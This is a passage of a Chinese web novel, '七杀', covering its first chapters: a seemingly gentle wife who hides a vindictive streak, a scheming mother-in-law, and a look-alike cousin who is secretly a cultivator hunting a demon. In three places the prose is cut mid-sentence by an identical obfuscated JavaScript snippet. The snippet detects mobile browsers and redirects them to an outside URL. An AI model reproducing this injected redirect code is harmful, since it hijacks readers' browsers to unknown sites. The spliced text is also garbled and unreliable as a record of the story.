《七杀》 1. 春雨绵 三月三,春雨缠缠绵绵地将整座道观网罗在一片迷蒙湿润之中。青云峰高耸入云,石阶盘盘绕绕,像一条蜿蜒的巨蟒伏在苍石寒翠间,因这这山的灵性加之从前出过一位成仙的修士,故而香火不断,石门莹润。 檐角的雨滴落在石砖缝隙中,青苔碧绿,与女子鹅黄浅水色的裙摆交叠掩映。 “娘子,你的衣裙湿了。” 蹲在地上玩木偶的小道童绕到女子身后将她耷在水洼里的裙摆牵了起来,收到屋檐下雨淋不到的位置。女子抬起头,看了一眼暗沉沉的天,将那小箱子一把抱起来,摸了摸小道童的头,“多谢小道长,这雨越下越大了,这些小玩意儿咱们还是进屋去分,如何?” 女子戴着一顶长幕篱,看不清面容,微风过处,纱帘轻起,一双细长的峨眉随着弯月似的眼睛温柔注视着眼前围着她的几位小道童,纱帘落下,淡淡的白芍清香像这细密的雨点般笼罩在道童们四周,他们一时有些呆愣。 好温柔好美的小娘子—— “哎哎哎,收敛点,这可是大主顾,当心人家小娘子看见你这幅垂涎三尺的模样找掌门把你打出去。” 道士明悟一边清点着香客们送来的瓜果一边撞了撞身旁的师兄明德。 明德闻言挺了挺胸膛,“我长得也不差好吧,没准人家看见我一见钟情,那到时要我还俗也不是不可以。” 明悟嗤笑一声,“人家眼睛还没瞎,再说了,这位是山下那个连中两元的舒家舒举人的夫人,成婚都三年了,这回来是专为求子的。您这幅尊荣还是省省吧。” “嘿,兔崽子,编排你师兄。” 明德掐着明悟的脖子打闹起来,下一刻却见那女子出现在了眼前,“两位道长?” 绵柔的声音透过帷幕传来,明德明悟立刻缩回手,颇为尴尬地看着女子,“娘子有何吩咐?” 帷幕中的人似乎忍不住笑了笑,指了指她身后的几个大箱子,“这些布料还有纸笔都是给各位道长的,那些箱子里都是些泥人剪纸之类的小玩意儿,不值什么,劳烦各位道长发给小道长们。他们小小年纪跟着真人苦修,毕竟还是孩子,我想着还是得有些乐子。” 明德连连点头,“娘子思虑周全,足见对孩子的赤诚之心,相信真人也一定会看到娘子的诚意,保佑娘子早日得偿所愿。” “那就借道长吉言,若真有那一日,必定来谢道长。” 宋璋撑了伞出门,正要往前殿拜过三清真人就打道回府,忽而眼前嗖得一个人影窜出来将她撞倒在地。 她掌心有些刺痛,皱了皱眉,却见眼前是一个数着双髻衣着华贵的小童,与她撞倒吃痛大哭起来。 宋璋捡起伞,忙替那小童撑着,一面查看他伤势,还好只是一点擦伤。 她半蹲在地上,拿出手帕细细替他擦去手上身上的污水,一面哄着,“小郎君别哭,我替你擦干净了。” 那小童却一把推开她,“谁要你擦,我的常胜将军都被你放跑了!你还我大将军!” 宋璋不妨跌倒,听见耳边轻脆一声响,却是自己腕上的玉镯断裂开来。 她眼底闪过一阵冷意,那小童却毫无察觉,只是哭闹,宋璋背对着他,捡起那只蝈蝈筒,重换上一副温柔面孔,用指腹替他擦去泪痕。 她耐心道:“原来是它跑了,那你方才这么着急忙慌的就是为了去给你的长胜大将军找桑叶吃是不是?” 小童点点头,抽噎着。 宋璋拉着他的小手,一边摸着他脑袋一边安抚道:“原来是这样,小郎君别哭了,我知道有个地方有比这更大的蝈蝈。” 小童抬头看着她,眼前的大姐姐温柔小意,看起来并不像说假话的样子。“真的吗?” 宋璋道:“当然了,阿姐其实早就发现了,只是那地方有点黑,还有点高,阿姐害怕,就一直没把它捉回来。小郎君生得魁梧健壮,肯定能找到它。” 小童听她这一激,脸上微微发热,“我胆子最大了,我什么都不怕。你告诉我在哪儿,一会儿我把它带回来咱俩一起玩。” 宋璋点点头,笑着俯身耳语,不一会儿那小童便兴冲冲往园子后的假山处去了。 女子看着远去的孩童,脸上的笑容逐渐淡去,她拿出帕子将每一根手指细细擦拭,污水和孩子手上的糖渍沾满了帕子,女子捏着帕角,嫌弃地扔进了花丛中。 钟声在青云山山颠响起,穿透白墙青瓦,抵达红尘俗众心中。 长垣敲钟完毕,接引着路过的香客往三清殿中上香。 长云斜靠在香案边,听着殿外小儿撕心裂肺的哭喊,只觉颇为有趣,“哎,外边儿怎么了?吴夫人终于想通要把她家那宝贝小公子卖了?” 长垣一边擦拭神像,一边淡淡道:“吴小郎刚才一个人跑去假山里掏马蜂窝被扎了满脸的疮。” 长云噗嗤一声,“她家那小公子不是最喜欢玩蝈蝈吗,怎么,改玩马蜂了。” 长垣没应声,长云也不在意,从兜里掏出一把花生,一边看着跪拜的香客一边道: “我最不耐烦接待这些带孩子的女客,不管是贫贱富贵,那孩子往这一放,招猫逗狗,打灯放火......别提有多烦人了。还是独身的小娘子好,赏心悦目,通情达理。” 说着,长云又叹了口气,“偏偏这些小娘子想不开,都要来这求子。” 长垣转过身来擦拭对面的神像,目光淡淡扫过了眼前跪在乾坤座上的女子。 “神明在上,信女宋氏,成婚多年,未有子嗣。家中设灵位张神像,日夜叩拜,却仍子嗣艰难,孝道不补。今躬身祈求,望神明垂怜,赐我子嗣,如能获愿,必出资白银百两,修缮山观。” 神像前的女子高髻梳得乌黑油亮,不饰金玉,一袭帷幕穿顶而过,遮盖住整个单薄身躯。浅绿外裳与鹅黄里裙隔着一层薄纱随叩拜动作若隐若现,如迷蝶扑雾,青鸟穿云。 美人美景,婉声轻扬,似乎连神像也为之动容。 长云悄声道:“这位舒夫人,看着柔弱,风吹就倒的,为了让真人看到自己求子的诚心,放着马车不坐,硬生生从山下走了九百九十九级石阶上山来。真是其心可鉴。” 长垣没接茬,淡淡笑了笑。 “你怎么不说话?”长云道。 长垣正要开口,忽见方才那女子笑意盈盈地走了过来,“二位道长,我要说的话都说完了,还烦请二位替我多多在真人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056228|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前祈祷。” 长云微微俯身,客气道,“那是自然。娘子一片诚心,定能感动真人。” 他看了看外面连绵的雨,“外面雨势尚大,山路难行,娘子不再逛一会再回去么?” 宋璋笑着摇头,“不了,家中还有要事待我处理,二位道长,留步。” 宋璋刚跨出门槛,预备撑伞,忽而手上动作一顿。男子撑着纸伞,一袭青衣快步朝她走了过来。 宋璋惊喜道,“玄礼!你怎么来了?” 舒玄礼走到檐下,对长云长垣微微颔首示意,继而牵住了宋璋的手,“今日下学早,听说你独自来了青云观,所以顺道来接你。” “顺什么路,学堂往家向东,青云山在南边……”她嗔道。 “想你了。” “小声点……” 两人窸窸窣窣的声音随着一白一青两个背影离去,长云啧啧叹道,“郎才女貌,一对璧人呐。” “唉,你怎么又不说话?” 长云撞了撞长垣手臂,他回过神来,将抹布扔进脚边水桶搓了两把,拎着桶推开了背对着香客的后门。污水流入低洼之中,青光瞬时涌进殿堂,照在巨大的神像前。 长垣回过身微微抬头,“人心难测,人不可鉴,镜不可鉴,唯......上苍可鉴——” 长垣拎着空桶往住处走去,长云丈二和尚摸不着头脑,“什么跟什么呀,驴唇不对马嘴!” 舒玄礼因方才走得急,肩上鞋面上都落了雨水,宋璋眼见便用手去拂拭。 舒玄礼抓住了她的手,一握,冰凉的。 “别擦了,马车就在那边等着呢,快上车去。” 车里早就备好了炭炉熏香,脱去潮湿的外衣,热气一冲,顿觉一个激灵。 舒玄礼看熟练地给她沏了茶,又去脱她鞋袜。一上手,便觉一片湿冷。 他皱了皱眉,“坐车上去就是,你身体本就弱,何必亲自爬上那多高的石阶。” 宋璋抬眼看他,拉了拉他的手,“不假他力,方显赤诚,真人才会赐我们一个健康的孩子啊。” 看着妻子低垂的眉目,舒玄礼心中生出无限怜惜。 他与妻子成婚三年,她温柔娴静,对他体贴周到,对母亲孝顺容忍,对下人宽和慈悲。从来不因他读书求学陪伴过少心生不满,也不因母亲塞进来的通房妾室争风吃醋。 舒玄礼道,“有没有孩子有什么重要的,只要我们在一起,携手白头,这辈子也足够了。” “真的?”她找了个舒适的位置,窝在他怀里。 舒玄礼一下一下抚摸着怀中人的乌发,温声道,“我何时骗过阿璋?” “若玄郎骗我……” 舒玄礼含笑听着,“天打五雷轰?” “少胡说!”怀中人嗔怒,她想了想,指尖环上了身前人的衣带,一圈一圈绕紧。 “若骗我,我就将玄郎变作我的衣带,时时刻刻绑在身边,藏在袖中,哪儿也不许你去……” 舒玄礼笑着她的孩子气,宋璋却摸着怀中断裂的镯子,微微笑了笑。 她不舍得毁坏她的东西。 但属于她的,谁也别想从她这里抢走。 2. 闺门事 小雨下了一夜停息,晨露尚重,宋璋准备好舒玄礼上学要用的书本纸笔,又将后半夜炖上的鲜笋汤与点心送上马车,亲自送舒玄礼上了车才回到卧房打算睡个回笼觉。 正拆着头,就听侍女道:“夫人,老夫人请您过去荣寿堂一趟。” 宋璋的困意瞬时消散,“知道了,我这就去。” 她快速给自己上好妆粉,穿戴完毕就急匆匆地要出去,明心追在后面给她披了件披风,“娘子等等。” “不必了,快走吧。” “哪次老夫人叫娘子过去不是要先在外头等上一炷香,如今天冷,不多穿点娘子就该冻病了。” 宋璋冲她笑笑,没抱怨什么,“听你的。” 因舒夫人待下人宽和,又喜欢年轻活泼的女子,故而荣寿堂一向热闹。刚一进门,就见几个女孩子在侧院回廊上踢毽子,还有几个闲坐着聊天。见了她纷纷站起身行礼,大丫头静莲迎上前道:“二娘子来了。” “我来给母亲请安,劳烦你通传一声。” 静莲点点头,引她走到门前,“娘子稍候。” 一进门,瓜果饭菜的香气便和着欢声笑语涌进静莲耳中,一个比宋璋略大些的妇人抱着孩子,抓着他的小手晃动,逗得对座的老妇展颜大笑。 “喔,喔,狸儿给祖母跳舞是不是?狸儿真聪明!” 那孩子约莫一岁,两条藕粗的小腿胡乱蹬着,流着口水。 沈氏笑呵呵地用手帕擦了擦,“让奶娘抱着吧,看他这劲儿大的,累坏了你。” “老夫人,二娘子来了。” 静莲的话让沈氏的笑意微微一滞,却仿佛没听见似的,继续拿着拨浪鼓逗弄眼前的小儿,一面跟大儿媳闲聊。 毓兰道:“狸儿这身体倒比大娘强些,大娘这么大的时候三天两头地病,闹得我们都睡不安稳。” “好在孩子们都大了,狸儿也满了周岁了,一儿一女,你跟大郎是有福的。唯独二郎......” 沈氏皱了皱眉,“他今年已二十有三了,却一个孩子都没有。” 毓兰劝慰道:“二郎一心向学,整日忙着课业呢,等过两年自然就有了。” 沈氏哼了一声,“什么课业,他一回来就往含璋院跑,恨不得黏在那身上,日日厮混却也不见有半点动静。” 毓兰不说话了。其实她也是成婚第二年有的大娘,而且她家夫君不比小叔上进,少得在家。 可是婆母摆明了不喜这弟妹,看什么都不好,她也不好当面忤逆。 从私心上,她对这位弟妹是没什么恶意的。别人家妯娌之间勾心斗角,你来我往,烦不胜烦。但宋璋待人和善,又有分寸,从不多管闲事,也不在长辈面前挑拨拱火。除了不爱出门,话有点少之外没什么大问题。 因此毓兰看了一眼静莲,笑着对沈氏道:“我昨日听闻阿璋要去青云观,本想一块去,奈何脱不开身,就请她帮我们大娘二郎求两个平安符。阿璋听说是给孩子们求的,当即就应了,还送了狸儿一个开过光的金锁。” 沈氏装作没听见,又逗了一会儿孩子才对静莲道:“叫她进来吧。” 宋璋在门外听着,虽然声音听不清楚,但也不难猜到没什么好话。只是进了门还是扬起笑容殷勤伺候,她替沈氏盛汤布菜,颇为恭顺。 只是对方却淡淡的,略过那碗汤,端起茶水,用茶盖静静拨着茶碗里的浮叶,水波柔荡,热气腾向空气中消散、冷却。 “还没吃饭吧。” “郎君早起陪他用了一些点心。” 沈氏将茶碗放在桌上,瞄了一眼侍女,“去给少夫人盛碗鸡汤。” 宋璋接过的是一个空碗,侍女便往里添汤。金黄的油脂浮于碗沿,摇摇欲坠,滚烫的热度从薄皮明底瓷碗底部迅速传递至整个碗。 指尖传来的热度让她不禁手抖,汤汁便瞬时洒在手背,她忍不住瑟缩几乎尖叫出声,却知道沈氏看不惯她,生生咬住舌头忍了下去。 沈氏看了她一眼,这才脸色好转一些,“坐下吧。” 宋璋放下汤碗,将手笼在袖中暗暗揉搓。 “听说你昨日去了青云观,和二郎一道回来的。” “是。” “求神固然重要,自己的身体也该注意一些。” 宋璋只是点头,毓兰打着圆场道,“我正好认得一个大夫,最擅妇科的,过两日我带阿璋去看看。” “既然要休养身体,就不要把二郎拘在你一个人身边。他的那些通房身体都还康健,人也机灵,能帮你伺候好二郎。” 沈氏的意思是针对她昨夜的作为。昨夜桃姨娘派人请舒玄礼去看画,明心替她拦截下来,一口回绝。桃姨娘本是沈氏的丫鬟,想来或许是沈氏的意思。 她回绝了桃姨娘,相当于忤逆了沈氏,她自然没有好脸色。 宋璋小心道,“我劝过郎君多次了,只是郎君不肯,说忙于课业……” “既然他不肯那就再劝,成家立业,须先成家才能立业。我知道我老了,一个个都拿旁的借口堵我的嘴。” “儿媳不敢。” “知道你一向贤惠,我说的是二郎。”沈氏冷哼一声,“女子德行为先,需有容人之量,争风吃醋,嫉妒生事,是小家所为。你祖上也是书香门第,虽然没落了,这点道理却一定懂得吧。” “儿媳明白。” 她说十句宋璋应一句,只是低头说好,沈氏一拳打在了棉花上,心中越发不满。 “你明白就好,罢了。还有一桩事要你们去办。” “母亲请说。” “你们金陵的姨母写信给我,说有些生意要往东流来,她有个女儿,名叫玉蝉,正好来家里住两日。” 毓兰闻言笑道,“那敢情好,我家大娘日日吵着要我给她再生个姐姐,这回真有姐姐来,可热闹了。母亲放心,我一定招待好。” 沈氏嗔怪地瞥了她一眼,“你有两个孩子要照顾。她年纪小,和你这泼猴必定话不投机的。” 她转而看向了宋璋,“璋娘,你院子旁有个小院,收拾一番,玉蝉就交给你了。” 宋璋愣了愣,觉得有些奇怪,却还是应了下来。 从荣寿堂出来,她和毓兰走在路上,因问道,“我来家里这么久,不曾听闻有个叫玉蝉的表妹,大嫂可见过?” 毓兰往四周看了看,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056229|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见什么人,因而小声道,“金陵姨母家的几个表姐表妹早都嫁出去了,这一位是姨父的外室所出,不受姨母待见,寻常不出来见客,所以你不知道。” “既是不受待见,又为何让她独自出门?” 毓兰微微笑了笑,“听说是到了待嫁的年纪,姨母家只剩她一个,在金陵找不到合适的儿郎,所以托母亲在东流为她相看。” 毓兰的话点到为止,宋璋立刻会意。 金陵这么大,儿郎千万,怎会找不到夫婿。她又是不受待见的庶女,既不上心,又何必托姐姐千里迢迢来东流寻婿。 寻婿…… 她心中冷笑,只怕这夫婿的人选早有定夺。 沈氏想给玄郎纳妾。 只是这么大费周章把人弄来,这次这位表妹不知究竟有何不同。 白鹭成群从船头飞过,鸟鸣散落在宽阔的河面。船夫缓缓将船驶向渡口,靠岸停定,一个身穿紫衣黄裙,头戴珠花的女子走了下来。 “玉蝉小姐可算到了,马车就在那儿等着呢,请小姐移……” 说话的是沈氏身边的丫鬟新柳,在仔细看清这面前的女子时愣了愣,一时忘了动作。 “怎么了?”女子看了她一眼。 新柳这才回过神来,“哦,没什么,小姐随我来吧。老夫人还有两位少夫人都已经在家里等着了。” 女子点头,走到马车前,新柳正要搬出条凳供她踩踏,却见她撩起裙摆径直跨了上去。 新柳尴尬地把条凳又收了回去,放进马车,替女子关上了帘子。随即对车夫挥了挥手,“走吧。” 车轮与道路相触之声不绝于耳,车内备好了一个果盘,装了些许茶点。玉蝉从盘子里抓了一把果脯,一边嚼着,一边将她唯一的行李打开。 东西不多,除了几件衣裳就只剩一个镜子一般的青铜器。 她口中叼着果脯,将它捧在手心,右手起势默念心决。幽光忽而在那铜器的指针上显现,似乎有什么在牵引着,指针向四面转动着,最终指向了一个方向。 玉蝉掀开帘角,望眼窥去,偌大的“舒宅”两个字赫然眼前。 果然不错,那妖就在舒家。 “小姐,已经到了。” 新柳的声音在帘外响起,玉蝉收好东西,背着包袱下了马车。便见一个比新柳略高些的女子走了过来,见了她又是一愣,露出了和新柳先前一样的神情,不过她掩饰得更快,更显自然而已。 “这位姐姐好,不知如何称呼?” 这人穿着打扮显然比新柳又得体贵重些,只是梳着丫鬟的发式,应当是主人身边的大丫鬟。 静莲立刻恢复了神色,笑着对她行礼,“当不得小姐如此客气,叫我静莲就好,我平日在老夫人跟前伺候,所以派我来接你。” 静莲轻柔地拉着玉蝉的手,将她带到了荣寿堂前,替她打了帘子,招呼了里面的静萍一声。 “表小姐来了。” “快进去吧,仔细外面冻着。” 看着玉蝉走进去,静莲和站在门口的新柳彼此交换了一个震惊的眼神。 这位表小姐竟然和二娘子生得有七八分相像…… 3. 试真心 玉蝉一进门,毓兰就和宋璋交换了一个眼神。她现在总算知道自家婆母大费周章接个金陵的亲戚来做什么了。 一样的鹅蛋小脸,一样的杏仁眼,弯起的弧度都那么相似,唯一不同,就是玉蝉身上更添娇憨灵动。 “姨母——玉蝉拜见姨母。” 沈氏是第二次见玉蝉,见她面色带笑,举止大方,丝毫不见生疏之态,心里更是欢喜。亲自拉着她手到身边坐下。 “可算把你盼来了,路上冷不冷,晕不晕船?静莲,把厨房热着的汤端来。” “不冷,本是有些晕船的,可到了姨妈家这么一路过来,竟也神清气爽了。” 沈氏被她逗笑,对众人道,“瞧瞧她这张嘴,快也与你哥哥嫂子们见个礼吧。” 玉蝉转向众人,这才开始一一打量起来。 今日人来得齐,宋璋和毓兰坐在一边,舒玄礼和大哥舒玄成坐在一边。 玉蝉看向舒玄礼,忽而笑道,“二哥,许久不见,二哥可还记得我?” 舒玄礼笑了笑,“自然记得,玉蝉妹妹长高了,也比从前活泼不少。” 舒玄成道,“一样是去拜过年的,妹妹怎么只记得二弟,却不记得我?” 玉蝉似乎有些不好意思地笑了笑,舒玄礼道,“你那时一去金陵就跟几个小厮打马游荡,跑得都没影儿了,一刻闲不住。还怨人家不记得你?” 舒玄成原也只是逗乐,闻言笑笑也没说话。 毓兰起身拉过玉蝉,“妹妹别理他,你大哥是成日往外跑生意的,二哥又要去书塾,都是不着家的。只剩咱们娘儿几个,自有乐趣。” 沈氏道,“这是你大嫂,料理着家中杂事,有什么缺用只管找她。” 玉蝉见了礼,又见另一个和自己有些相似的女子走了来,料想这就是二嫂了。 宋璋尽管心下不快,面上仍笑着,毫无异样。“我们年岁相仿,妹妹往后就住在我一处,陪我做伴。屋子我都收拾好了,等做好了衣裳,过两日就带妹妹一块出门玩儿去。” “多谢二嫂。” 沈氏笑道,“好了,面也见过了。你们该干嘛干嘛去吧。玉蝉行路疲乏,二娘带她回去梳洗一番,让她休息一会儿吧。” 舒玄礼去上了学,宋璋便领着玉蝉回了含璋院,一番寒暄,安置妥当后回了自己房中。 “娘子,这些胭脂还有香粉也都送去那边吗?” 宋璋点头,“都送去。” “这还是郎君新给娘子买的,说是西域进贡的呢……” 宋璋道,“正因东西好,所以才要给表妹送去。她难得来家里一趟,母亲喜爱得紧,不可怠慢。” 明心撇撇嘴,“老夫人喜爱怎么不安置到她自己院子里去,偏放在咱们这儿。一来一往的,郎君和娘子多不方便。” “都是自家兄妹,有何不便?”宋璋语气中带了些许不耐,明心一愣。 宋璋意识到她的情绪,按耐下去,继而温声道,“再说郎君平时不在家,也只有早晚回来,不妨什么事。” 似乎是说给自己听的一般,明心走了出去,宋璋拿起绣了半边的护膝一边缝,一边想。 沈氏的意图显而易见,她想让玉蝉做舒玄礼的妾室。 看起来他们认识,比她认识得早。表兄表妹……英雄救美…… 她冷笑,顶着一张和她相似的脸,她以为这样就能夺走舒玄礼了么? “明心,去把郎君书房里昨日送来的拜帖拿来。” 明心应声拿来拜帖,一边替宋璋磨墨。 “这是蒋郎君的拜帖,娘子不是说郎君课业繁重,就不去春猎了么? 郎君虽然没有空闲,但我们有啊。 宋璋笑道:“母亲原是为表妹的婚事忧心,蒋郎君人品贵重,家世清白,虽然略贫寒一些,但他来日与夫君一同往上京去,若考取功名,也是大有所为的。” “原来娘子是想撮合蒋郎君与表小姐。” 宋璋道:“不过只是我的想法,究竟愿不愿意还是要看玉蝉。” “蒋郎君样貌好,人也谦和,小人看是与表小姐相配的。我这就去与表小姐说明日春猎的事。” 明心正要出门,就听见一阵打马之声,因笑道:“娘子,是郎君回来了!” 宋璋立时站了起来,一边往外迎一边吩咐人传饭。 走至门边,她半只脚却将将停在了门槛边。 “怎么了?” 明心顺着她视线看去,庭院中的一株粗壮的枇杷树下,少女仰着头笑得明媚灿烂,树上的男子一边扶住树干一边寻找着合适的位置下树。 “二哥,能行吗?你小心点儿,别摔了。” 舒玄礼爬到安全处将手里的纸鸢朝女子抛了下来,“小瞧你二哥了不是,这不是给你拿下来了?” “谢谢二哥!” “这丫头,比小时候可会说话多了。” 微风拂过,连落叶也知情识趣,悠悠地飘落在二人肩头。少女忽而上前抬手抚了抚舒玄礼肩头的落叶。舒玄礼并未躲闪,而只是对她温柔地笑着。 宋璋袖中,指尖紧紧掐住指骨,眼中闪烁着冷光。 “阿璋,怎么在风里站着?” 似乎注意到远处的目光,舒玄礼抬起头看到宋璋,朝她走了过去。 她立即换上一副笑容,“听见你的马嘶鸣,所以出来迎迎你。玉蝉妹妹怎么也在这儿,你们聊什么呢?” “她在院里玩纸鸢,飞到树上,几个小丫头拿不下来,正碰上我回来。” 玉蝉拿着一只绿色的纸鸢,走来道:“阿嫂,我正想说呢,明日我们一块儿去郊外放纸鸢吧。” 宋璋道:“正赶巧,我还想说明日咱们一道去北山射猎呢。” “射猎?射猎也好啊,这会儿春天,那些鹿呀兔子呀都爱出来玩儿。” 舒玄礼笑道:“我也赶巧,今日夫子说家中母亲生病,这两日不用去书院。我随你们一道去。” “啊?”宋璋顿了顿,“可是夫君不是马上要考试了,不在家里看书,母亲怕是会......” “整日埋首书斋,坐得骨头都松了,也该活动活动。再说母亲知道是陪表妹狩猎,不会说什么的。” 宋璋勉强笑了笑,玉蝉道:“好香啊——” 明心恰好领着侍女将饭菜端来,宋璋于是道:“妹妹还没用饭吧,不如随我们一道。” “好啊,那就多谢二嫂了!” 三人坐在罗汉榻上,檀木几案上摆满了各色菜式,玉蝉一边自己吃,还一边往宋璋和舒玄礼碗里夹菜。自在得宋璋险些以为她才是这里的客人。 玉蝉夹了一块糖醋肉给宋璋。 宋璋道:“多谢妹妹。” 她正要动筷子,舒玄礼就从她碗里夹走了肉,“阿璋不喜食酸甜。” 玉蝉疑惑道:“那为什么还摆这道菜?”而且这一桌大多都是甜口菜色。 宋璋道:“玄礼喜欢,所以特意命小厨房做了。” 玉蝉道:“有二嫂这么好的妻子,二哥真是好福气。” 宋璋笑道:“玉蝉妹妹真会说话,你一来咱们院子都有活气起来呢。” 舒玄礼道:“她以前可不是这样,安安静静得,人又干瘦干瘦。今天猛然一见,我是真差点儿没认出来。” 宋璋给舒玄礼盛了一碗菠菜豆腐汤,低眉微笑,“玄郎和妹妹从前常在一起玩儿么?倒是没听玄郎提起过。” “倒也不经常,只是有一年外祖父去世,我和大哥去金陵姨妈家见过一面。” “那郎君倒是好记性。”宋璋道:“妹妹连大哥都不记得,却记得玄郎。” 玉蝉道:“说来不怕阿嫂笑话,我那时在家中日子过得艰难,不爱说话,哥哥姐姐都欺负我。那日我在庭院放纸鸢,不知怎么惹怒了阿弟,他把我的纸鸢抢过来扔到了树上,那是我阿娘留给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056230|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的唯一念想。” 说着,她脉脉地看了舒玄礼一眼。 “我爬不上去树,下人们也都不敢帮我,我哭得伤心,是二哥爬上了树帮我捡回了它。那段时间,是我最高兴的日子,有人和我做朋友,有人把我当妹妹,有人关心我……” 宋璋笑道,“玄郎一向最是心善,就是野外狩猎看到受伤的兔子松鼠都要捡回来养着。” 舒玄礼觉得这话有些不对劲,但也没多想,“那明日咱们一道出去,就这么说定了,我叫他们准备好马匹。” 宋璋道,“好,正巧蒋四郎昨日写了帖子邀你一同去春猎,我已回了他,咱们明日一道在北山汇合。” 舒玄礼却是看了宋璋一眼,似乎欲言又止。 待玉蝉走后,舒玄礼道,“玉蝉尚未出阁,一个女郎和蒋芸一道是不是不太方便?” 宋璋手指微动,“郎君是对玉蝉妹妹有意?” 舒玄礼道,“阿璋何出此言!我已与你有过誓约,心许一人。我只是觉得蒋芸毕竟是外人,怕玉蝉心中不悦。” “誓约……” 宋璋对着铜镜,缓缓梳着头发,指尖夹着两根白发,她立即收了起来。镜中的面孔分明没有变化,心却不复当年。 昔年舒玄礼允诺娶她时,她向他提出了条件,一生只许一心,若有违背,形同此镜,破不重圆。 镜中的女子笑了笑,“昔日誓言不过玩笑,玄郎不必顾忌,你膝下无子,以往那些通房身份低微,表妹嫁给玄郎却是亲上加亲,母亲和我都是满意的。” 细密的梳齿梳过青丝,为那些纠缠杂结顿住,那双灵巧的手指却并未沾香油,而径直梳了下去。原本油亮柔顺的鬓发如被乱刀斩断的麻绳,长一截短一截地散落在地。 忽而一双大手握住了她的手,温暖隔着衣衫从背后包裹至全身。 镜中男子的青丝与女子胸前的鬓发相互交叠。 她稍稍抬眼,微暗的烛光打在男子分明的轮廓上,长睫下含着一双如水的瞳孔。 明月荡漾,秦淮灯影…… 只一瞬,她便沉溺在这无帆的小船之中。 “在想什么呢……”舒玄礼道,“阿璋,再这样说,我可真要生气了。” 他认真道,“誓言非儿戏,今生今世,我只有你一人足矣。其他人,再好再美都不重要。” 女子抬头,盯着镜中的男子许久,凝滞的神情这才缓缓融化开。她恢复了如常神色,回过头抱住了男子…… 月光与灯火交融,纯白与暗红,朦胧纠缠,铺展在阔大无垠的深空中。 寒鹊羞颜,唯有鸦群如常穿梭在上空,略过人家,停在了含章院东南角一处屋子的窗边。 玉蝉伫立窗前,看向了对面闪着微光的屋子。 那股邪气是从那里传来的,她凝神吸气,方才还十分浓烈的气息却又突然消散,只剩下满院的芍药冷香。 她靠在墙边,目光微动。妖必定就在舒玄礼和宋璋二人之间,亦或者…二人都是。 冷风吹来,她砰地关上了窗子。 她奉师命下山与师父的旧交传递书信,坐船北上时遇到了同行一个叫玉蝉的女子。整日忧心啼哭,待问清缘故后才知她已与心上人约定终身,只待他上门提亲。家中嫡母却逼着她去东流县姨母家中嫁给表兄作妾。 起初她不以为意,这种痴男怨女,私定终身的戏码她见多了。 可是越靠近东流,她腰间的罗盘忽然转个不停,中邪了一般。她感知到这座城池有邪祟入侵。 恰好她要去的青云山就在这女子所说的东流县中,所以便与那女子交换了身份,助她离去,自己则成了“玉蝉”来到舒家。 好在运气不错,没费什么力气就找到了异常所在。舒家这对夫妻看着恩爱,却处处透着古怪。 不过既然他们之间鹣鲽情深,琴瑟和鸣…… 那么是人是鬼,生死之间,一试便知。 4. 聪明误 第二日是个好天气,春日的太阳总是这样,不热不冷,照在薄薄的嫩绿春衫上,金色与绿色相融,泛着蝴蝶鳞羽一般的光彩。玉蝉穿了一件扎眼的粉霞雀闹枝纹窄袖衣,下着月白襦裙,背着弓箭,两髻间红丝带迎风飘扬。 见蒋无患的目光落在玉蝉身上,宋璋于是介绍道:“四郎,这是我们家的玉蝉表妹,她刚到东流闷得慌,所以把她叫上咱们一块儿。我们两个来不搅扰你们兄弟吧?” 蒋无患揶揄地看向舒玄礼:“怎会搅扰,春光正好,徒有美景而无佳人,岂不乏味。何况我知道,若嫂嫂不赏光,玄礼也是叫不动的。” 宋璋低头似有羞怯,舒玄礼却接着蒋无患的话笑道:“这离春闱也没几个月了,你小子整日在外游荡,本确实不愿应你,我是想着初春寒凉,得为阿璋猎几头狐狸作披风才来的。” “我可比不了你,少年奇才,连中两元。这是天分,求也求不来。我要能进三甲就算祖宗保佑,若不能在县里做个举人老爷也不错,所以该学学,该玩玩儿。” 舒玄礼道:“你快别自谦了,快说说,今日咱们怎么比?” “看嫂嫂怎么说?”蒋无患颇为自得道:“我的箭术可不吹嘘,饶是你们三个一组我也不在话下。” 宋璋道:“不占你便宜,咱们两个人一组,玉蝉和四郎,我和玄礼,今日无论怎样,也都不算我们家输。” “我听嫂嫂的。” “那表妹呢?” 宋璋扭头看向玉蝉,女子手指缠着自己腰间的衣袋摩挲着,正盯着舒玄礼出神。 山野之间灵气最清新,最易分辨妖的气味,她在这冷风里吹了许久,并未闻到那晚的妖气。 